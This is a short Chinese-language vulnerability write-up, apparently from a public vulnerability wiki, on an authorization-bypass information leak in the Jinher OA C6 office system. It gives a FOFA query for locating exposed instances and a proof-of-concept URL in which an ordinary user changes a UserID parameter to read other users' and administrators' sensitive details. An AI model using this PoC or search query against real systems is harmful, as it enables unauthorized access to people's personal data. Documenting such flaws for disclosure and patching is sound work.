金和OA C6 后台越权信息泄露漏洞.md

890 B / 2021-07-04 06:01:08
    # 金和OA C6 越权信息泄露漏洞

## 漏洞描述

金和OA C6 存在越权信息泄露漏洞，普通用户登录后可以通过遍历ID编号获取管理员及其他用户的敏感信息

## 漏洞影响

> [!NOTE]
>
> 金和OA C6

## FOFA

> [!NOTE]
>
> app="Jinher-OA"

## 漏洞复现

使用普通用户登录 OA应用后台

访问的POC为

```
http://xxx.xxx.xxx.xxx/C6/JHSoft.Web.Dossier/DossierBaseInfoView.aspx?CollID=1&UserID=RY120330
```

> [!NOTE]
>
> 注意 RY120330 需要为确定的其他的用户编号

![](http://wikioss.peiqi.tech/vuln/jh-4.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)

泄露了部分的敏感信息

## 参考文章

https://mp.weixin.qq.com/s/gwHQVIZeMWfT8a5lBX_4WA